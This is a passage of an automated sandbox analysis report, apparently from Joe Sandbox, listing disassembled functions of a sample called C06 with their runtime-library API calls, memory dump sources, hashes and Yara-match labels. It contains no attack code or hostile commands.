FillConsoleOutputCharacterA.KERNEL32(00000000,00000000,00000000,?,?), ref: 00404B91
GlobalFree.KERNEL32(00000000), ref: 00404B98
ReleaseActCtx.KERNEL32(?), ref: 00404BA2
SetComputerNameA.KERNEL32(00000000), ref: 00404BA9
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 00404BB1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00404BB8
FindNextFileA.KERNEL32(00000000,?), ref: 00404BC6

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: ConsoleFree$BoostCharacterComputerEnvironmentFileFillFindGlobalInputNameNextOutputPeekPriorityProcessReleaseStrings
String ID:
API String ID: 1313739779-0
Opcode ID: abb8631fac93c6cb2309624922b222abda0fac8d100c67c2b691836eebb8ea34
Instruction ID: f74aadf0f070808a9b34f4db44a9fabf019c36944a0f3fe93d5325e19b98b120
Opcode Fuzzy Hash: abb8631fac93c6cb2309624922b222abda0fac8d100c67c2b691836eebb8ea34
Instruction Fuzzy Hash: DD114F76901118BFD711ABE0EE48CEF7B7CEF49341B004062F645E2120D7389A458BB9

Uniqueness

Uniqueness Score: -1.00%

Function 0232F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0232F284
__CxxThrowException@8.LIBCMT ref: 0232F2AF
__CxxThrowException@8.LIBCMT ref: 0232F2DE
__CxxThrowException@8.LIBCMT ref: 0232F30F
_memset.LIBCMT ref: 0232F32E
__CxxThrowException@8.LIBCMT ref: 0232F354
_sprintf.LIBCMT ref: 0232F373

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 0c5a2598599c813e72a8792cb5bb130482699c5933c87722d65d49bdeb0cb345
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 225170B1D40219ABDF21DFA1DD46FEEBBB9EF04704F100065FA05B6180D779AA058FA4

Uniqueness

Uniqueness Score: -1.00%

Function 0232F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0232F4B7
__CxxThrowException@8.LIBCMT ref: 0232F4E2
__CxxThrowException@8.LIBCMT ref: 0232F504
__CxxThrowException@8.LIBCMT ref: 0232F535
_memset.LIBCMT ref: 0232F554
__CxxThrowException@8.LIBCMT ref: 0232F57A
_sprintf.LIBCMT ref: 0232F594

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: df691617dbdcab6e4cd05a8e2c88795aaa459008fe72a3ed541eabcdbdca50df
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 7D514171D40219AADF21DFA1DC46FEEBBBDEF04704F200129F905B6180DB74AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040B555 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040B561

Part of subcall function 00408B9E: __getptd_noexit.LIBCMT ref: 00408BA1
Part of subcall function 00408B9E: __amsg_exit.LIBCMT ref: 00408BAE

__amsg_exit.LIBCMT ref: 0040B581
__lock.LIBCMT ref: 0040B591
InterlockedDecrement.KERNEL32(?), ref: 0040B5AE
InterlockedIncrement.KERNEL32(023115E8), ref: 0040B5D9

Strings

gJ, xrefs: 0040B5B8

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID: gJ
API String ID: 4271482742-1485095282
Opcode ID: 6fe938256e307b45212e0bc211643723d6357f4284ab999f88a57e693d857a27
Instruction ID: 4494d421b78f6897492384da27cc19693bf82d3cc8682612e09ab2adfaedcc10
Opcode Fuzzy Hash: 6fe938256e307b45212e0bc211643723d6357f4284ab999f88a57e693d857a27
Instruction Fuzzy Hash: C401A531901611ABDB21AF25980575E7760EF08728F06017BE880B76D0CB3C6D41CBCD

Uniqueness

Uniqueness Score: -1.00%

Function 0236208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 023620C6
__invoke_watson.LIBCMT ref: 02362120
_strlen.LIBCMT ref: 023620D4

Part of subcall function 02345BA8: __getptd_noexit.LIBCMT ref: 02345BA8

_strnlen.LIBCMT ref: 0236215F
__lock.LIBCMT ref: 02362170
__getenv_helper_nolock.LIBCMT ref: 0236217B

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 4a392e6ff03203a3d67213f1ef0876014c5f6e932c135984b05a4ab4388bbbb2
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A0314572A042226BDB316B64CC08B7F7BDD9F05B64F16C461ED04EB288DF749901CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00406591 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 004065B3
__calloc_crt.LIBCMT ref: 004065CC

Strings

hdJ, xrefs: 004065F8
aJ, xrefs: 004065E3
XbJ, xrefs: 00406635

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: __calloc_crt
String ID: XbJ$hdJ$aJ
API String ID: 3494438863-3982869451
Opcode ID: a4c390a323f9f90c83ff34df4e63916b3681dd4dc3570566b78cad69634d66bf
Instruction ID: 034e06a1f0c6b9d44f983cd085d7d7dbabdd60fde9c860d53af919a366a32c94
Opcode Fuzzy Hash: a4c390a323f9f90c83ff34df4e63916b3681dd4dc3570566b78cad69634d66bf
Instruction Fuzzy Hash: AC119C313855113BEB288E1EBC516A72792A784338B1E513FE202E63D5FB3CC841414C

Uniqueness

Uniqueness Score: -1.00%

Function 004061A8 Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004061CB
_memset.LIBCMT ref: 004061F5

Part of subcall function 00405E27: __getptd_noexit.LIBCMT ref: 00405E27

Part of subcall function 00405DBF: __decode_pointer.LIBCMT ref: 00405DCA

WideCharToMultiByte.KERNEL32(?,?,?,00000001,?,?,?,?,?,00402392), ref: 0040628C
GetLastError.KERNEL32(?,?,00000001,?,?,?,?,?,00402392), ref: 004062AA
_memset.LIBCMT ref: 004062CC

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: Locale_memset$ByteCharErrorLastMultiUpdateUpdate::_Wide__decode_pointer__getptd_noexit
String ID:
API String ID: 1064751000-0
Opcode ID: 5e383a6ac68ce4b46427bad05b47e6c3c2817dfce2b38dbe1d597ff98bf70ff1
Instruction ID: 8df0c06f17189da7409cd0cc9a3cec2afcef77544f14b6469c8b45ba004bd6fc
Opcode Fuzzy Hash: 5e383a6ac68ce4b46427bad05b47e6c3c2817dfce2b38dbe1d597ff98bf70ff1
Instruction Fuzzy Hash: 1B31AF71900146AFCB21BF64D8819AF3B60EB01314F0241BFF4527F2D2D7398DA59BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405F6B Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00405F89

Part of subcall function 004075E6: __mtinitlocknum.LIBCMT ref: 004075FC
Part of subcall function 004075E6: __amsg_exit.LIBCMT ref: 00407608
Part of subcall function 004075E6: EnterCriticalSection.KERNEL32(?,?,?,004073CD,00000004,004A4EE8,0000000C,00408ECF,?,?,00000000,00000000,00000000,?,00408B50,00000001), ref: 00407610

___sbh_find_block.LIBCMT ref: 00405F94
___sbh_free_block.LIBCMT ref: 00405FA3
HeapFree.KERNEL32(00000000,?,004A4E88,0000000C,004075C7,00000000,004A4F08,0000000C,00407601,?,?,?,004073CD,00000004,004A4EE8,0000000C), ref: 00405FD3
GetLastError.KERNEL32(?,004073CD,00000004,004A4EE8,0000000C,00408ECF,?,?,00000000,00000000,00000000,?,00408B50,00000001,00000214), ref: 00405FE4

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 43a786ec1801ca4899049075f04ddc19da742497bc061c25d69e8a887bf72264
Instruction ID: c9d630fe59bae0a3f10aaa5846cabf6faea0d0010a4cdcb4687ade1129b73ffe
Opcode Fuzzy Hash: 43a786ec1801ca4899049075f04ddc19da742497bc061c25d69e8a887bf72264
Instruction Fuzzy Hash: CE01A231848B07AADB206BB2AD0AB9F3A64EF10368F11443FF401B65D1CB3C9940CE9D

Uniqueness

Uniqueness Score: -1.00%

Function 02332670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 023326DB
_memset.LIBCMT ref: 02332A30
_memset.LIBCMT ref: 02332AC0

Strings

D, xrefs: 02332AC8

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: adefcb33285904b6c679bcfbb367858a3be5edca788d99c601e45b55a1520df9
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 6DE15C71D00219ABDF25DFA0CD89FEFB7B8BF04304F1441A9EA09A6190EB74AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0232D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0232D8EA

Strings

, xrefs: 0232DADB
(, xrefs: 0232DAE9
$, xrefs: 0232DAE2

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 68f505793bdc1c213ddd65e7630780b0be15cc81b48d7696239e19b417539a93
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 8891A071D0021CAAEF21CFA0CC59BEEBBB5AF05304F2441A9E505772C1DBB65A48CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402F76 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

__set_statfp.LIBCMT ref: 00406F4B
__set_statfp.LIBCMT ref: 00406F66

Strings

f7O>, xrefs: 00402FEB
, xrefs: 00406F5E

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: __set_statfp
String ID: $f7O>
API String ID: 441778723-197540090
Opcode ID: d36ee20be69e24c723b383d926ebe454cf5faea3921979e9be3e5757cac83e9a
Instruction ID: acfe13decc694b8b0bf0e01ebba99c203ba7f98b304173061b2e93114dc9d0e4
Opcode Fuzzy Hash: d36ee20be69e24c723b383d926ebe454cf5faea3921979e9be3e5757cac83e9a
Instruction Fuzzy Hash: AB51691294E7D64FC7138BB458656997F709E13224B1A01DBC8C1EF1E3C66C8E1AC7A6

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF14 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00407338), ref: 0040CF19
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0040CF29

Strings

KERNEL32, xrefs: 0040CF14
IsProcessorFeaturePresent, xrefs: 0040CF23

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 4a0025941ae9ac294a4ddcb7b8edcb6c0f08a7d15cf90a61b1eb0f8165816ce2
Instruction ID: b57d27325a795bdd6eb17dd939704b4f8624e9cac594d97c34ba8d3e1fb6ad44
Opcode Fuzzy Hash: 4a0025941ae9ac294a4ddcb7b8edcb6c0f08a7d15cf90a61b1eb0f8165816ce2
Instruction Fuzzy Hash: 75F03630A40609E3DF001BA1AD4A26F7A79BF80782F9105A1E5D1B00E4DF749075824A

Uniqueness

Uniqueness Score: -1.00%

Function 0233A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0233A858
_memset.LIBCMT ref: 0233A869
_memset.LIBCMT ref: 0233A87A

Strings

p2Q, xrefs: 0233A882

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: cab4f9c7b000fb5aaaf50fca2f60ddc58dbb2a2a7dae53a183c1c567ae96ba44
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 2BF0E578A94790A5F7217B60BC267857DD27B32B08F1040C5D1142E2E1D7FD734C6799

Uniqueness

Uniqueness Score: -1.00%

Function 0236FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0236FBF1

Part of subcall function 0235169C: std::exception::_Copy_str.LIBCMT ref: 023516B5

__CxxThrowException@8.LIBCMT ref: 0236FC06

Strings

TeM, xrefs: 0236FBE7, 0236FBFB
TeM, xrefs: 0236FBFE

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 514ece00dc1a064afbee8d802c0c664d59fc02ebe1aa5d12a8a17b34552cbb6c
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 95D06775C0021CBBCB10EFA5D459DDDBBB9AA04344B108466AD5897241EA74A3498FD4

Uniqueness

Uniqueness Score: -1.00%

Function 0232D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0234197D: __wfsopen.LIBCMT ref: 02341988

_fgetws.LIBCMT ref: 0232D15C

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 4e4ca4c176c13f33404f475f741e0ec76328ff7df4a93e4ba6e8cf75dc30c6a1
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 2B91B172D103299BCF21DFA4CD847AEB7F5BF04304F240569E915A3240E776EA18CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0232D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0232D77E
_malloc.LIBCMT ref: 0232D7B2
_malloc.LIBCMT ref: 0232D7C1
_fprintf.LIBCMT ref: 0232D815

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 06ec601364e6d76d11b5ebd931b24a3aaf28f23c3f959ef416d8099e617d84d2
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 2AA160B1C0025CEBEF21EFE4C845BDEBBB6AF15304F140168E50576291D7BA5A48CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 02342AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02342B2E
__read_nolock.LIBCMT ref: 02342BFE
__filbuf.LIBCMT ref: 02342C21
_memset.LIBCMT ref: 02342C65

Part of subcall function 02345BA8: __getptd_noexit.LIBCMT ref: 02345BA8

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 79f742fb548784f7e2e2796a9f527f7d1b2579f9c910a981b330a1991b33fe0e
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 03517070A002069BDB298E79888466FB7F6AF40324F1487A9FC75A66D0DF71BE51CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0040F303 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0040F337
__isleadbyte_l.LIBCMT ref: 0040F36B
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,75FF5003,00BFBBEF,00000000,?,?,?,0040DD66,00000109,00BFBBEF,00000003), ref: 0040F39C
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,00000001,00BFBBEF,00000000,?,?,?,0040DD66,00000109,00BFBBEF,00000003), ref: 0040F40A

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 356930a46b9939c7f4abf66d5cd4ec9e2d25bcebf949f38b53651e17aa1699d6
Instruction ID: 8a9955500a857a2ea05d2c05a6e4c1820c62b03486f1f61051fcecc9d9552f56
Opcode Fuzzy Hash: 356930a46b9939c7f4abf66d5cd4ec9e2d25bcebf949f38b53651e17aa1699d6
Instruction Fuzzy Hash: 8431AE31A04245EFDB30DFA4C880AAF7BA5FF01320B14857AE865AB6D1D334DD44DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040CE00 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040CE26

Part of subcall function 0040CC4B: __fltout2.LIBCMT ref: 0040CC77

__cftog_l.LIBCMT ref: 0040CE4C
__cftoe_l.LIBCMT ref: 0040CE7E

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: d95f80c182f32d9331188ded4d3e2a6736ee8beee96367c4d186d35a0d874d0d
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: CD11833200014AFBCF125F94DC81CEE3F22BB18754B588626FE1865171D33AD972AB85

Uniqueness

Uniqueness Score: -1.00%

Function 02361359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0236137D

Part of subcall function 02361A9D: __fltout2.LIBCMT ref: 02361AC6

__cftog_l.LIBCMT ref: 023613A3
__cftoe_l.LIBCMT ref: 023613D5

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: ee3f2d698e01c4f85ba92e7b15f919cf1f04d92c4bd52359f4568808ab8bbd8b
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: F7014B3240014ABBCF225E84DC09CEE3F6BBB19354B588415FA9E59A38D376C5B1AB81

Uniqueness

Uniqueness Score: -1.00%

Function 023E7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 023E7A4B

Part of subcall function 023E8140: ___BuildCatchObjectHelper.LIBCMT ref: 023E8172
Part of subcall function 023E8140: ___AdjustPointer.LIBCMT ref: 023E8189

_UnwindNestedFrames.LIBCMT ref: 023E7A62
___FrameUnwindToState.LIBCMT ref: 023E7A74
CallCatchBlock.LIBCMT ref: 023E7A98

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 086b17214e81005d6c0d8f29295f685c1c7d03e56c5172712db75a24825c790b
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 98012932000119BBCF22AF55CC01EEA7BBAFF48754F148014FD1965260C332E965DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCC1 Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040BCCD

Part of subcall function 00408B9E: __getptd_noexit.LIBCMT ref: 00408BA1
Part of subcall function 00408B9E: __amsg_exit.LIBCMT ref: 00408BAE

__getptd.LIBCMT ref: 0040BCE4
__amsg_exit.LIBCMT ref: 0040BCF2
__lock.LIBCMT ref: 0040BD02

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

